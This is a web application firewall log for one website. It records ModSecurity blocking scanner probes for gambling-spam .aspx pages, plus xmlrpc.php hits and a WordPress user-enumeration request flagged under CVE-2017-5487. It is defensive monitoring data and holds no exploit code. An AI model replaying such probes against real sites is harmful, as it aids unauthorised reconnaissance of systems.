[Mon Feb 09 15:14:35.609929 2026] [:error] [pid 60677:tid 60739] [client 54.37.254.218:46300] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYmJW1yBgzfmDf6GaetpkAAAAs4"]
[Mon Feb 09 15:14:37.934857 2026] [:error] [pid 60677:tid 60778] [client 54.37.254.218:46304] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYmJXVyBgzfmDf6GaetpmQAAAtg"]
[Mon Feb 09 15:14:38.134892 2026] [:error] [pid 18303:tid 18314] [client 54.37.254.218:46308] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYmJXkY7TEaZkFrGG4lpTgAAAQk"]
[Mon Feb 09 15:14:40.579807 2026] [:error] [pid 60677:tid 60717] [client 54.37.254.218:35114] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYmJYFyBgzfmDf6GaetpoAAAAsY"]
[Mon Feb 09 15:14:40.658694 2026] [:error] [pid 60676:tid 60706] [client 54.37.254.218:35122] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYmJYHhKcn7mJYMx5_BxqAAAApY"]
[Mon Feb 09 15:14:43.185460 2026] [:error] [pid 60676:tid 60690] [client 54.37.254.218:35132] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYmJY3hKcn7mJYMx5_BxqgAAAoY"]
[Mon Feb 09 15:14:43.309726 2026] [:error] [pid 60676:tid 60687] [client 54.37.254.218:35148] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYmJY3hKcn7mJYMx5_BxqwAAAoM"]
[Mon Feb 09 15:15:14.176415 2026] [:error] [pid 47937:tid 47954] [client 54.37.254.218:35156] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYmJgs4Fd42MP2DhNrWz8QAAAAg"]
[Mon Feb 09 15:15:16.744945 2026] [:error] [pid 60679:tid 60761] [client 54.37.254.218:36328] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYmJhMixhoT1e6Iv6g-xogAAA08"]
[Mon Feb 09 15:15:19.168678 2026] [:error] [pid 60589:tid 60611] [client 54.37.254.218:53326] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYmJhzIJyhPWC0JyMLxK6gAAAdQ"]
[Mon Feb 09 15:15:21.911714 2026] [:error] [pid 60619:tid 60658] [client 54.37.254.218:53330] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYmJiXEpg0UoeR8kJ-351QAAAks"]
[Mon Feb 09 15:15:24.537861 2026] [:error] [pid 60679:tid 60754] [client 54.37.254.218:53334] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYmJjMixhoT1e6Iv6g-xqAAAA0w"]
[Mon Feb 09 15:15:27.169946 2026] [:error] [pid 18303:tid 18329] [client 54.37.254.218:53342] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYmJj0Y7TEaZkFrGG4lpfwAAARg"]
[Mon Feb 09 15:15:29.969680 2026] [:error] [pid 47938:tid 47999] [client 54.37.254.218:39632] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYmJkbVCzWE6fQJEkNLbygAAAFQ"]
[Mon Feb 09 15:15:32.923188 2026] [:error] [pid 60678:tid 60745] [client 54.37.254.218:39634] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYmJlO8Gd_fDFrcNu4N_NgAAAwc"]
[Mon Feb 09 15:15:35.804998 2026] [:error] [pid 60677:tid 60714] [client 54.37.254.218:39638] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYmJl1yBgzfmDf6Gaetp9gAAAsM"]
[Mon Feb 09 15:15:38.593323 2026] [:error] [pid 60508:tid 60522] [client 54.37.254.218:39652] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYmJmuXDvLC4ADfnEzOROwAAAYw"]
[Mon Feb 09 15:15:41.222331 2026] [:error] [pid 60676:tid 60697] [client 54.37.254.218:33748] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYmJnXhKcn7mJYMx5_Bx2QAAAo0"]
[Mon Feb 09 15:15:43.942919 2026] [:error] [pid 18303:tid 18311] [client 54.37.254.218:33764] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYmJn0Y7TEaZkFrGG4lpjQAAAQY"]
[Mon Feb 09 15:15:46.467194 2026] [:error] [pid 60589:tid 60592] [client 54.37.254.218:33776] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYmJojIJyhPWC0JyMLxLBgAAAcE"]
[Mon Feb 09 15:15:49.098374 2026] [:error] [pid 60619:tid 60650] [client 54.37.254.218:34858] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYmJpXEpg0UoeR8kJ-35_QAAAkg"]
[Mon Feb 09 15:15:51.815753 2026] [:error] [pid 47938:tid 47998] [client 54.37.254.218:34866] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYmJp7VCzWE6fQJEkNLb4QAAAFM"]
[Mon Feb 09 15:15:54.615834 2026] [:error] [pid 60678:tid 60777] [client 54.37.254.218:34876] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYmJqu8Gd_fDFrcNu4N_UAAAAxI"]
[Mon Feb 09 15:15:57.283404 2026] [:error] [pid 60677:tid 60749] [client 54.37.254.218:34888] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYmJrVyBgzfmDf6GaetqDQAAAtA"]
[Mon Feb 09 15:15:59.940610 2026] [:error] [pid 60589:tid 60604] [client 54.37.254.218:50336] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYmJrzIJyhPWC0JyMLxLFAAAAc0"]
[Mon Feb 09 15:16:02.863524 2026] [:error] [pid 47937:tid 47952] [client 54.37.254.218:50346] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYmJss4Fd42MP2DhNrW0GAAAAAY"]
[Mon Feb 09 15:16:05.488212 2026] [:error] [pid 18303:tid 18317] [client 54.37.254.218:50354] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYmJtUY7TEaZkFrGG4lpmwAAAQw"]
[Mon Feb 09 15:16:08.147719 2026] [:error] [pid 60676:tid 60699] [client 54.37.254.218:50366] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYmJuHhKcn7mJYMx5_Bx8gAAAo8"]
[Mon Feb 09 17:44:04.819213 2026] [:error] [pid 60676:tid 60686] [client 54.37.252.229:39056] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYmsZHhKcn7mJYMx5_CMaAAAAoI"]
[Mon Feb 09 17:44:07.154014 2026] [:error] [pid 60589:tid 60598] [client 54.37.252.229:42818] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYmsZzIJyhPWC0JyMLxs2QAAAcc"]
[Mon Feb 09 17:44:09.712630 2026] [:error] [pid 18303:tid 18321] [client 54.37.252.229:39602] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYmsaUY7TEaZkFrGG4mDuwAAARA"]
[Mon Feb 09 17:44:12.107481 2026] [:error] [pid 60677:tid 60776] [client 54.37.252.229:39606] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYmsbFyBgzfmDf6GaeuiNQAAAtc"]
[Mon Feb 09 17:44:14.510471 2026] [:error] [pid 47938:tid 47996] [client 54.37.252.229:39626] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYmsbrVCzWE6fQJEkNIEcgAAAFE"]
[Mon Feb 09 17:44:16.901500 2026] [:error] [pid 47938:tid 48002] [client 54.37.252.229:39656] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYmscLVCzWE6fQJEkNIEegAAAFc"]
[Mon Feb 09 17:44:19.314931 2026] [:error] [pid 60676:tid 60701] [client 54.37.252.229:39032] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYmsc3hKcn7mJYMx5_CMdQAAApE"]
[Mon Feb 09 17:44:21.695535 2026] [:error] [pid 60619:tid 60663] [client 54.37.252.229:39062] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYmsdXEpg0UoeR8kJ-0e7wAAAk0"]
[Mon Feb 09 17:44:24.096923 2026] [:error] [pid 47938:tid 47979] [client 54.37.252.229:39068] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYmseLVCzWE6fQJEkNIEiQAAAEA"]
[Mon Feb 09 17:44:26.498700 2026] [:error] [pid 47938:tid 47998] [client 54.37.252.229:39072] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYmserVCzWE6fQJEkNIEjAAAAFM"]
[Mon Feb 09 17:44:28.896350 2026] [:error] [pid 60589:tid 60609] [client 54.37.252.229:59952] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYmsfDIJyhPWC0JyMLxs5QAAAdI"]
[Mon Feb 09 17:44:31.330818 2026] [:error] [pid 60679:tid 60734] [client 54.37.252.229:59968] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYmsf8ixhoT1e6Iv6g_MagAAA0Q"]
[Mon Feb 09 17:44:33.710743 2026] [:error] [pid 47938:tid 47982] [client 54.37.252.229:59988] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYmsgbVCzWE6fQJEkNIEmwAAAEM"]
[Mon Feb 09 17:44:36.164338 2026] [:error] [pid 47938:tid 48002] [client 54.37.252.229:60008] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYmshLVCzWE6fQJEkNIEogAAAFc"]
[Mon Feb 09 17:44:38.553061 2026] [:error] [pid 47938:tid 47985] [client 54.37.252.229:41444] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYmshrVCzWE6fQJEkNIEpAAAAEY"]
[Mon Feb 09 17:44:40.948089 2026] [:error] [pid 60679:tid 60754] [client 54.37.252.229:41458] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYmsiMixhoT1e6Iv6g_MawAAA0w"]
[Mon Feb 09 17:44:43.369436 2026] [:error] [pid 60679:tid 60761] [client 54.37.252.229:41476] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYmsi8ixhoT1e6Iv6g_MbAAAA08"]
[Mon Feb 09 17:44:45.823994 2026] [:error] [pid 60589:tid 60596] [client 54.37.252.229:41486] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYmsjTIJyhPWC0JyMLxs9QAAAcU"]
[Mon Feb 09 17:44:48.403470 2026] [:error] [pid 60678:tid 60752] [client 54.37.252.229:52662] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYmskO8Gd_fDFrcNu4OYOwAAAwo"]
[Mon Feb 09 17:44:50.792812 2026] [:error] [pid 60677:tid 60778] [client 54.37.252.229:52688] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYmsklyBgzfmDf6GaeuiZAAAAtg"]
[Mon Feb 09 17:44:53.064794 2026] [:error] [pid 18303:tid 18306] [client 54.37.252.229:52708] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYmslUY7TEaZkFrGG4mD5QAAAQE"]
[Mon Feb 09 17:44:55.601871 2026] [:error] [pid 18303:tid 18305] [client 54.37.252.229:52728] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYmsl0Y7TEaZkFrGG4mD5gAAAQA"]
[Mon Feb 09 17:44:58.000435 2026] [:error] [pid 60676:tid 60705] [client 54.37.252.229:60016] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYmsmXhKcn7mJYMx5_CMgAAAApU"]
[Mon Feb 09 18:29:49.222887 2026] [:error] [pid 60589:tid 60609] [client 34.140.158.98:64055] [client 34.140.158.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.158.98, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYm3HTIJyhPWC0JyMLx3VQAAAdI"]
[Mon Feb 09 18:29:52.573476 2026] [:error] [pid 60589:tid 60597] [client 34.140.158.98:64055] [client 34.140.158.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYm3IDIJyhPWC0JyMLx3WwAAAcY"]
[Mon Feb 09 18:29:55.627651 2026] [:error] [pid 60589:tid 60596] [client 34.140.158.98:64055] [client 34.140.158.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.158.98, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYm3IzIJyhPWC0JyMLx3YAAAAcU"]
